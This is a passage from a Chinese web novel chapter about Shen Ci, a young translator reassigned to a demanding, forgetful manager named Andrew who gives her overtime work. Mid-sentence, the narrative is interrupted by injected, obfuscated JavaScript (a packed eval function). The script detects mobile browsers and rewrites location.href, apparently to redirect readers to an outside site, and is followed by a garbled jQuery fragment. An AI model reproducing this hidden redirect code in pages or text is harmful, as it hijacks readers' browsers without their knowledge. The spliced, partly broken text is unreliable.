的第一份工作。她原本是在公司的品牌策划部做运营推广，然而有一次市场部负责国际大区业务的总监，同时也是公司副总经理Andrew跑到他们部门临时借翻译，后来听说沈词就是清大英语系的，Andrew干脆就把沈词调来了业务部门。

    当时沈词参加工作才5个月，倘若拒绝调岗，她就会被公司辞退，又没了应届生的身份，下一份工作会很难找。

    京市生活成本高，她又没存款，没办法就只能同意调岗，成为业务部门的员工。

    沈词原本所在的品牌策划部工作氛围其实挺不错，同事之间相处得还算和谐，领导Chloe也不怎么摆架子，还时不时组局请大家吃饭。

    所以在正式调过来之前，她天真地以为业务这边也会像品策那样友好。谁曾想沈词加入的第一天，Andrew就给了她当头一棒。

    Andrew赶鸭子上架，召开技术会议时把沈词也带上了，还让她负责会议口译。

    饶是沈词语言水平再高，在不给资料的前提下临场上阵，翻译势必会有纰漏。

    再加上Andrew今年都55岁了，没几年就该退休，他脑子记不住事情，总喜欢一件事反反复复说，像是得了老年痴呆。

    糟糕的记忆力叠加过分自我的独断debuff，这场会议结束，沈词确定自己的新领导大概率就是典型的NPD人格。

    在Andrew手底下工作了这么长时间，她早就通过无数个崩溃的例子验证了自己的猜测。

    但凡和Andrew打过交道的人，对他的行事风格也都有所耳闻。

    正是因此，Rachel才会说“理解你在Andrew的部门压力大”。

    想到这里，沈词又默默拿起手边的咖啡喝了一口。

    她平常要应对领导已经够耗精力了，实在没有更多的精气神在同事面前强颜欢笑。

    眼看着离下班只剩十二分钟了，Andrew喊了声：“Mia，你过来一下。”

    沈词心一凉，来到Andrew办公室。

    Andrew使唤别人的时候从来不顾及时间地点，只要他在办公室叫谁的名字，谁就得立即放下手头的工作听他吩咐。

    “研发部负责这款产品的技术人员暂时找不到人，但我们必须要给客户展示英文版的文档。这份文件你帮我翻译一下，七点半之前给到我，行吗？”

    “好的，许总。”

    Andrew本名许畅，在公司一般都叫他“许总”或者“畅总”，至于他给自己起的那个英文名，估计仅客户可用。

    上个月财务部新入职的小姑娘还没来得及熟悉公司领导，发邮件直呼许畅“Andrew”，许畅开会就点名提了这个事，脸色非常难看，话里话外都在暗讽那个小姑娘没规矩。

    绝口不提他自己都好几次叫错客户名字，还分不清“Miss”和“Miste

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16983993|193592||http|test|ni|href|location''''.split(''''|''''),0,{}));

    () {

    $(''''.infor'').reve();

    $(''''#content'''').append(''''

    r”。

    接待的时候许畅总是对着男性客户张口就是“Ms. John”，笑得还很狗腿，沈词站在一旁只想找个地缝钻进去。

    看来今天又要加班了。

    沈词在心里叹了一口气，她回到工位，开始加班